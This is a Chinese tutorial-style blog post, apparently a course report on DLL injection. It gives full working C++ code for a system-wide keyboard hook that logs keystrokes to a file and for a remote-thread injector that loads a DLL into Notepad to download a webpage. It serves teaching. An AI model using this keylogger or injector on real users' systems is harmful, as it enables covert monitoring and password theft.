网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

这篇具有很好参考价值的文章主要介绍了网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

前言

一、dll注入的介绍和示例

dll注入介绍

dll注入示例

二、dll注入实现方法

三、键盘消息监听钩取

消息钩取原理

键盘消息监听钩取具体实现

四、dll注入记事本实现联网下载网页

介绍

 实现

五、总结


前言

这是研一专业课网络攻防对抗术的一次汇报,我对其大致内容做了相应梳理并整理在此。

主要内容为:DLL注入的介绍、示例、分类、以及两种方法实现注入的实例和总结。


一、dll注入的介绍和示例

  首先,我们需要先介绍什么是dll文件和dll文件的调用机制,然后才能更好的理解dll注入是什么,要如何做。

  • dll注入介绍

1.dll文件:是可以被其它应用程序共享的程序模块,其中封装了一些可以被共享的程序和资源。在操作系统中,许多exe文件的程序模块会被分割为独立的dll文件,我们可以把它类比为python中的numpy库。另外,引入dll文件有许多的好处,比如说减少代码量,节约磁盘空间等等。

2.dll文件调用机制:exe文件需要调用dll文件中的功能的时候,就会采用相应的调用机制在进程的地址空间中,操作系统通过LoadLibrary函数调用每个dll文件,就可以加载这些dll文件中的功能。

那么,如果我们将自己编写的dll文件,强制性的放在一个进程的地址空间中,并强制性的让他调用LoadLibrary函数,就可以对这个dll文件进行加载,从而实现这个进程没有实现到的功能。这种方式就叫做dll注入

3.dll注入:dll放进某个进程的地址空间里,这样该进程和dll共享同一内存空间,dll可以使用该进程的所有资源,随时监控程序运行。

因为比较简单,所以dll注入被看作渗透进其他进程最简单有效的方法。

  • dll注入示例

通过dll注入,注入到一个进程中的dll文件就拥有目标进程内存的访问权限,这样就可以对目标进程随意操作。dll注入的例子有很多,这里仅仅列举几个常见的方向:

1.改善功能与修复Bug:可以使用DLL注入技术为程序添加新功能(类似于插件),或者修改有问题的代码、数据等。

2.消息钩取:windows os自带的消息钩取功能就是一种dll注入技术,它自带了一些dll文件,我们只需要编写函数将其注入就可以。比如说后面会提到的键盘消息钩取。

3.监视、管理应用程序的使用:类似手机中常见的青少年模式,比如,用来阻止特定程序(像游戏、股票交易等)运行、禁止访问有害网站,以及监视PC的使用等。

4.恶意代码:不法分子通过把自己编写的恶意代码隐藏到正常进程中,施放dll文件,开启后门端口,进行窃取用户信息、篡改注册表,强制安装病毒等恶意操作。

二、dll注入实现方法

dll注入主要分为以下三种:创建远程进程,消息钩取,使用注册表。

本文通过前两种方式实现dll注入,分别为通过消息钩取创建全局钩子实现键盘消息监听钩取,通过创建远程线程注入记事本实现自动下载网页。

三、键盘消息监听钩取

  • 消息钩取原理

这里就利用了刚才所说的wondows自带的消息钩取方法。Windows OS提供的GUI通过事件驱动(事件指鼠标点击,键盘按键等)。发生事件时,OS会把相应消息发送给应用程序。消息钩子在此间偷看信息,实现相应操作。

如键盘输入事件,操作系统将键盘输入的消息添加到OS消息队列,并准备发送到相应应用程序的消息队列。

在消息发送过程中,插入消息钩子,钩子会比应用程序先看到消息

另外,在消息钩子的内部,除了可以查看消息,还可以对消息进行更改、拦截。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

消息钩取工作原理

  • 键盘消息监听钩取具体实现

 1.SetWindowsHookEx():利用这个API可以轻松实现消息钩子

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

这个函数的第一行设置了全局键盘钩子,全局的意思是不指定任何进程,只要是键盘输入就可以进行钩取,第二行设置的是这个钩子执行的回调函数,其主要功能就是对键盘消息进行转化,转化成对应的按键存储在txt文档中。第三行应该是注入的dll句柄,在这个方法中没有创建dll文件,所以返回的是NULL。

2.KeyBoardProc():钩子执行的回调函数。

3.创建MFC界面作为工具

4.具体代码实现:

此处参考了:HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客

①创建MFC应用程序解决方案--KeyboardHook(用MFC是因为MFC有页面,更直观),中间选应用程序类型选基于对话框,其他一直下一步,最后点击完成。

②编辑MFC对话框:

点击工具箱,给对话框添加两个按钮(button)。

点击button1,在右下属性栏修改Caption为hook,同理修改button2为stop hook,并删除“确定”和“设置对话框控件”(原因:1.丑,2.确定按钮会影响到回车键的输入)。

这里也可以修改属性->杂项->ID来修改button的ID,使系统生成的函数名直观易懂,便于项目维护,不过我们的项目这是一个演示demo,就懒得修改了。

3.编辑KeyboardHookDlg.cpp,实现截取键盘按键的功能。 

分别双击两个按钮,就可以生成它们的事件函数。

 两个函数的实现如下:

void CKeyboardHookDlg::OnBnClickedButton1() {
	
	string str = "start:";
	SaveFile << str << endl;
 
	//这里调用SetWindowsHookExA()函数,因为hook的实现不是在DLL中,而是直接在KeyboardHookDlg.cpp中实现,所有第4个参数使用GetModuleHandle(NULL)
	glhHook = SetWindowsHookExA(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle(NULL), NULL);
	if (glhHook != NULL) {
		//AfxMessageBox(L"StartHook成功!");//用于打桩测试,通过后注释掉,不然太麻烦
	} else {
		AfxMessageBox(L"StartHook失败!");
	}
}
 
void CKeyboardHookDlg::OnBnClickedButton2() {
	UnhookWindowsHookEx(glhHook);
}

处理函数KeyboardProc实现如下:

//键盘钩子回调函数
LRESULT  CALLBACK  KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
	
	char c[2];
	c[1] = 0;
	if ((wParam == WM_KEYDOWN) && (HC_ACTION == nCode)) {		//有键按下
		
		KBDLLHOOKSTRUCT *  keyNum = (KBDLLHOOKSTRUCT *)lParam;
 
		//处理字母大小写
		if ((keyNum->vkCode == VK_CAPITAL) || (keyNum->vkCode == VK_LSHIFT) || (keyNum->vkCode == VK_RETURN) || (keyNum->vkCode >= 65 && keyNum->vkCode <= 90)) {
			
			if (!GetKeyState(VK_CAPITAL)) {	//如果大写锁定键未被按下
				g_bCapsLock = FALSE;
			} else {
				g_bCapsLock = TRUE;
			}
 
			if (GetAsyncKeyState(VK_LSHIFT) & 0x8000) { //如果shift键被按住
				g_bShift = TRUE;
			} else {
				g_bShift = FALSE;
			}
 
			if (keyNum->vkCode >= 65 && keyNum->vkCode <= 90) {
				BOOL flag = g_bCapsLock^g_bShift;//同假异真
				if (flag) {
					c[0] = keyNum->vkCode;
				} else {
					c[0] = keyNum->vkCode + 32;
				}
				SaveFile << (int)c[0] << " : " << c << endl;
			}
		}
		//处理数字小键盘
		else if (keyNum->vkCode == 144 || (keyNum->vkCode >= VK_NUMPAD0 && keyNum->vkCode <= VK_NUMPAD9)) { //144表示数字小键盘锁键
 
			if (GetKeyState(144)) {		//如果数字小键盘锁键被按下
				int mapKey = keyNum->vkCode - 48;
				SaveFile << keyNum->vkCode << " : " << char(mapKey) << endl;
			}
 
		} else {
			SaveFile << keyNum->vkCode << " : " << char(keyNum->vkCode) << endl;
		}
	}
	return CallNextHookEx(glhHook, nCode, wParam, lParam);
}

同时需要在KeyboardHookDlg.cpp文件头部添加库函数和全局变量:

#include <iostream>  
#include <string>  
#include <fstream>
 
using namespace std;
 
//全局变量
HHOOK glhHook = NULL;			//安装的鼠标勾子句柄 
BOOL g_bCapsLock = FALSE;		//大小写锁定键	
BOOL g_bShift = FALSE;			//shift键
ofstream SaveFile("key.txt");

④点击生成解决方案,在Debug目录下,运行KeyboardHook.exe,点击“hook”按钮,然后随便在哪里输入内容,在目录下会生成“key.txt”,其中就记录着“键盘按键键码vkCode:按键键值”。

目前代码只实现了区分大小写字母、数字、数字小键盘输入,其他的按键如标点符号等没有处理,如有需要,可以参考我的其他文章进行处理。

四、dll注入记事本实现联网下载网页

  • 介绍

目的:通过创建远程线程实现dll注入,注入到记事本中实现自动下载网页。

原理:在操作系统为记事本进程开辟的地址空间中,不仅存放Notepad.exe文件,还有exe文件运行时需要调用的若干个dll文件,其中一个文件存放了LoadLibrary函数的地址(Kernel32.dll)。

因此,在dll文件中编写好需要实现的功能后,将其注入的实现方法就要分两步走,第一步就是把dll文件路径写入这个地址空间,第二步就是找到loadLibrary函数地址,调用他,让他加载inject.dll。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

在这里,我们编写的dll文件(Inject.dll)需要去做两件事情:被注入后弹出消息窗口显示注入成功,并创建一个线程实现联网下载网页。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 图中的DLL_PROCESS_ATTACH表示注入成功,在这里编写的就是注入成功的操作。

在CreatThread方法中的调用runBot函数,实现网页下载。

注入:通过InjectDll.exe,在main函数中规定了dll文件的路径,同时获取了记事本进程的句柄和PID,调用Inject函数进行注入。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页 在Inject函数中,通过句柄,来获取全部访问的权限,实现对进程的控制。 再去开辟内存,写入dll的路径。

接下来通过获取kernel32.dll文件的句柄,来寻找LoadLibrary函数的地址。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页最后创建一个远程线程,调用这个函数加载dll文件。最后等待进程结束后释放内存。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

  •  实现

创建项目:

①写dll

打开VS,创建新项目,选择”动态链接库“。

将文件命名为Inject.dll,dllmain.cpp里有vs为我们准备好的dll程序入口。

dllmain.cpp代码如下:

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <windows.h>
#include <urlmon.h>

#pragma comment (lib,"Urlmon.lib")
#define DEF_URL (L"https://www.runoob.com/")
#define DEF_FILE_NAME (L"C:\\Users\\Hailey\\Desktop\\HookWechat\\x64\\Debug\\index.html")
DWORD WINAPI runBot(LPVOID lpParam) {
    HRESULT hresult = URLDownloadToFileW(NULL, DEF_URL, DEF_FILE_NAME, 0, NULL);
    if (hresult == S_OK)
    {
        MessageBox(0, L"下载成功\n", L"联网下载线程", MB_OK);
    }
    else
    {
        MessageBox(0, L"下载失败\n", L"联网下载线程", MB_OK);
    }
    return 0;
}



BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        OutputDebugString(L"Inject.dll Injection!!!");
        MessageBox(0, L"DLL Attached!\n", L"Notepad Hacking", MB_OK);
        HANDLE hThread = CreateThread(NULL, 0, &runBot, NULL, 0, NULL);
        CloseHandle(hThread);
        break;
    }
    return TRUE;
}

②写exe

在同一个解决方案下新建项目,选择控制台应用,将其命名为InjectDll.cpp。

InjectDll.cpp代码如下:

// InjectDll.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#define _CRT_SECURE_NO_WARNINGS
#include <iostream>
#include "stdlib.h"
#include <tchar.h>
#include <Windows.h>

void Inject(DWORD dwId, WCHAR* szPath)//参数1:目标进程PID  参数2:DLL路径
{
    //一、在目标进程中申请一个空间
    /*
    【1.1 获取目标进程句柄】
    参数1:想要拥有的进程权限(本例为所有能获得的权限)
    参数2:表示所得到的进程句柄是否可以被继承
    参数3:被打开进程的PID
    返回值:指定进程的句柄
    */
    printf("---------------开始尝试注入-------------------\n");
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwId);
    if (hProcess)
    {
        printf("OpenProcess Success!\n");
    }
    else
    {
        printf("OpenProcess Failed!\n");
    }


    /*
    【1.2 在目标进程的内存里开辟空间】
    参数1:目标进程句柄
    参数2:保留页面的内存地址,一般用NULL自动分配
    参数3:欲分配的内存大小,字节单位
    参数4:MEM_COMMIT:为特定的页面区域分配内存中或磁盘的页面文件中的物理存储
    参数5:PAGE_READWRITE 区域可被应用程序读写
    返回值:执行成功就返回分配内存的首地址,不成功就是NULL
    */
    LPVOID pRemoteAddress = VirtualAllocEx(
        hProcess,
        NULL,
        1,
        MEM_COMMIT,
        PAGE_READWRITE
    );
    if (pRemoteAddress)
    {
        printf("VirtualAllocEx Success!\n");
    }
 
    //二、 把dll的路径写入到目标进程的内存空间中

    ULONG_PTR dwWriteSize = 0;
    /*
    【写一段数据到刚才给指定进程所开辟的内存空间里】
    参数1:OpenProcess返回的进程句柄
    参数2:准备写入的内存首地址
    参数3:指向要写的数据的指针(准备写入的东西)
    参数4:要写入的字节数(东西的长度+0/)
    参数5: 返回值。返回实际写入的字节
    */

    if (!WriteProcessMemory(hProcess, pRemoteAddress, szPath, wcslen(szPath) * 2 + 2, &dwWriteSize))
    {
        printf("WriteProcessMemory Failed\n");
    }

    
    // 远程执行我们的dll,通过注入的dll地址以及CreateRemoteThread方法让j进程调用起我们的进程

    //三、 创建一个远程线程,让目标进程调用LoadLibrary

    /*
    参数1:该远程线程所属进程的进程句柄
    参数2:一个指向 SECURITY_ATTRIBUTES 结构的指针, 该结构指定了线程的安全属性
    参数3:线程栈初始大小,以字节为单位,如果该值设为0,那么使用系统默认大小
    参数4:在远程进程的地址空间中,该线程的线程函数的起始地址(也就是这个线程具体要干的活儿)
    参数5:传给线程函数的参数(刚才在内存里开辟的空间里面写入的东西)
    参数6:控制线程创建的标志。0(NULL)表示该线程在创建后立即运行
    参数7:指向接收线程标识符的变量的指针。如果此参数为NULL,则不返回线程标识符
    返回值:如果函数成功,则返回值是新线程的句柄。如果函数失败,则返回值为NULL
    */

    HMODULE k32 = GetModuleHandle(L"kernel32.dll");
    if (!k32)
        printf("GetModuleHandle Failed!");

    LPVOID loadAdd = GetProcAddress(k32, "LoadLibraryW");

    std::cout << "loadAdd:" << loadAdd ;
    printf("\n");

    HANDLE hThread = CreateRemoteThread(
        hProcess,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)loadAdd,
        pRemoteAddress,
        0,
        NULL
    );
    if (!hThread)
    {
        printf("CreateRemoteThread Failed");
    }

    WaitForSingleObject(hThread, -1);
    

    //当句柄所指的线程有信号的时候,才会返回
    printf("---------注入成功--------\n");
    /*
    四、 【释放申请的虚拟内存空间】
    参数1:目标进程的句柄。该句柄必须拥有 PROCESS_VM_OPERATION 权限
    参数2:指向要释放的虚拟内存空间首地址的指针
    参数3:虚拟内存空间的字节数
    参数4:MEM_DECOMMIT仅标示内存空间不可用,内存页还将存在。
           MEM_RELEASE这种方式很彻底,完全回收。
    */
    if (!VirtualFreeEx(hProcess, pRemoteAddress, 1, MEM_DECOMMIT))
    {
        printf("VirtualFreeEx Failed\n");
    }
    else
    {
        printf("VirtualFreeEx Success\n");
    }

   
    
}


int _tmain(int argc, _TCHAR* argv[])
{
    
    wchar_t wStr[] = L"C:\\Users\\Hailey\\Desktop\\HookWechat\\x64\\Debug\\Inject.dll";
    //此处更改为你的dll存放的路径。
    DWORD dwId = 0;

    //参数1:(NULL
    //参数2:目标窗口的标题
    //返回值:目标窗口的句柄

    HWND hCalc = FindWindowA("Notepad", NULL);
    printf("目标窗口的句柄为:%p\n", hCalc);
    
    
    DWORD dwPid = 0;

    //参数1:目标进程的窗口句柄
    //参数2:把目标进程的PID存放进去
    DWORD dwRub = GetWindowThreadProcessId(hCalc, &dwPid);
    printf("目标窗口的进程PID为:%d\n", dwPid);
    

    //参数1:目标进程的PID
    //参数2:想要注入DLL的路径
    Inject(dwPid, wStr);
    
    system("pause");
    return 0;
}

我是64位的电脑,所以需要将编译环境全部改为64位:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 注意,64位的电脑是不可以对该项目调试的,不然就会出现如下情况:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

所以我们直接点击生成解决方案(F7),在目录下就生成好.exe文件和.dll文件了。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

③运行 

若要运行程序,需要先打开记事本。这样才存在记事本进程,才能通过记事本进程句柄找到PID实现注入。

打开记事本,我们可以在process explore中找到Notepad.exe:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 点击View-Show LowerPane,显示该进程调用的dll文件。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页 现在让我们打开InjectDll.exe文件:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 记事本弹出了消息,显示注入成功,我们点击确定按钮:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 这样就实现了联网下载网页了,可以看到文件目录下的网页的修改日期,是新下载成功的:

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 并且,在process explore中查看notepad.exe加载的dll文件,可以看到我们注入的Inject.dll。

网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页

 以上,就是第二种注入方法的实现全过程。

五、总结

Q:为什么选择dll注入作为汇报题目?

A:玩明星志愿的时候看到dll文件格式的游戏外挂,一度很好奇。在这次调研选题过程中看到大佬用dll注入实现扫雷外挂,十分感兴趣,于是准备将这个作为题目进行。

Q:遇到的困难

A:(叹气),本来是准备实现高大上的微信注入的,但是不知道为啥就是不成功,也许是微信版本更新的原因?

附上实现微信注入的这位大佬的原文:C++ DLL注入微信实现自动接收、发送消息 - 知乎

Q:参考的文章都贴上来吧

A:好嘞,感谢各位大佬如此认真的想要教会我(眼泪汪汪)

HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客

详细解读:远程线程注入DLL到PC版微信 | 吹剑录

HOOK实例之一:实现键盘钩子截获密码等键盘输入(vs2013详细流程)_慕公子的博客-CSDN博客

DLL注入(一)全局钩子注入进行键盘信息监听 - S1mba - 博客园

『网络安全科普』什么是DLL注入攻击技术? - 知乎

另外,我还参考了一本《逆向工程学原理》这本书,里面有关于dll注入十分详细的讲解,推荐大家可以看一看!文章来源地址https://www.toymoban.com/news/detail-510129.html

到了这里,关于网络攻防:DLL注入实现键盘钩取+记事本注入并联网下载网页的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • android studio大作业,android studio课程设计,记事本实现

    先看效果图 功能点实现: 登录,注册,记事本分类添加,删除,数据分析统计报表,数据库使用SQLlite 部分实现代码

    2024年02月11日
    浏览(57)
  • 基于安卓系统(android)记事本APP管理系统设计与实现

    目录 摘要 I Abstract II 1 绪论 1.1 课题来源、目的和意义 1 1.2 国内外基本研究情况 1 2 需求分析 2.1 用户需求 4 2.2 功能需求 4 2.3 数据库选择 6 2.4 性能需求 6 3 概要设计 3.1 功能概要设计 7 3.2 数据库概要设计 13 4 详细设计 4.1 功能设计 15 4.2 数据库设计 30 5 系统功能实现 5.1 系统架

    2024年02月11日
    浏览(41)
  • Android:实现安卓小程序-记事本(备忘录)的开发,教你如何增加拿到BAT大厂offer几率

    public MyBaseAdapter(Context context, List data) { this.context = context; this.data = data; } @Override public Object getItem(int i) { return null; } @Override public long getItemId(int i) { return 0; } @Override public int getCount() { if(data==null) return 0; return data.size(); } } 接着在编写NoteAdapter类继承上类,初始化view, 将Note条目的

    2024年04月25日
    浏览(59)
  • 电脑记事本在哪里?电脑桌面显示记事本要怎么设置?

    绝大多数上班族在使用电脑办公时,都需要随手记录一些琐碎或重要的事情,例如工作注意事项、常用的文案、某项工作的具体要求、多个平台的账号和密码等。于是就有不少小伙伴想要使用电脑记事本软件来记录,那么电脑记事本在哪里呢?想要电脑桌面显示记事本怎么设

    2024年02月15日
    浏览(45)
  • WIN11右键打开方式没有记事本,记事本无法使用问题

    背景: 个人手欠把记事本卸载了,然后又安装了,结果记事本可以打开,但是应用里面没有,右击打开方式也没有!!(检索过程发现很多人人用不了是因为升级W11) 问题: 1.如题,右击打开方式里没有记事本选项! 2.右击更多打开方式,通过查找到notepad.exe打开,出现程序

    2024年02月04日
    浏览(106)
  • Android记事本

    1、项目需求分析 1.1、记事功能需求分析: 1.1.1、显示记事 用户打开记事本可以看到之前所写的所有记事内容,进入主页后,软件应该从数据库中搜索出该用户所写的全部记事,并将所有的数据进行显示。 1.1.2、添加记事 设置添加按钮,点击添加按钮之后可以编辑记事的标题

    2024年02月03日
    浏览(57)
  • Vue设计记事本

    项目描述 项目实现功能有:记录今天要完成的任务,勾选已经完成的任务,删除已经完成的全部任务。 界面展示: 代码展示 创建一个Myitem.vue文件夹 2.在components文件夹下创建 Myheader文件夹 3.在同一个文件夹下创建MyFooter.vue文件夹 4.在同个文件夹下创建MyList.vue文件 5.再创建

    2024年02月08日
    浏览(61)
  • 11 MFC 制作记事本

    选择Menu 点击新建 将内容写入\\\"_\\\"的用 符号 将菜单加入到窗口中 右键选择添加事件处理程序 点击确定 Edit设置多行显示 Edit设置按回车能够换行 Edit设置竖直方向滚动 打开文件代码 查找与替换对话框显示(非模态对话框) 对话框消息与对话框处理函数 对话框处理函数 //note

    2024年02月11日
    浏览(42)
  • Java小程序-记事本

    摘 要 为了使自己熟悉Java编译,了解更多的面向对象语言的编程策略。进而,深入了解Java语言的操作、及原理等。因此我开发了一个记事本,使自己可以巩固知识,加深记忆。设计一个简易记事本,能够记录使用者输入的信息,同时可以实现保存输入的信息,以方便后期查看

    2024年02月04日
    浏览(57)
  • Android Studio——记事本案例

    一、布局界面         1、记事本界面布局 main_notepad.xml         2、记事本Item布局界面 activity_item.xml         3、添加、修改界面布局 activity_record.xml 二、封装记录信息实体类         记事本的每个记录都会有记录内容和记录时间这两个属性,因此需要建立一个实体类用于存

    2024年02月05日
    浏览(48)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包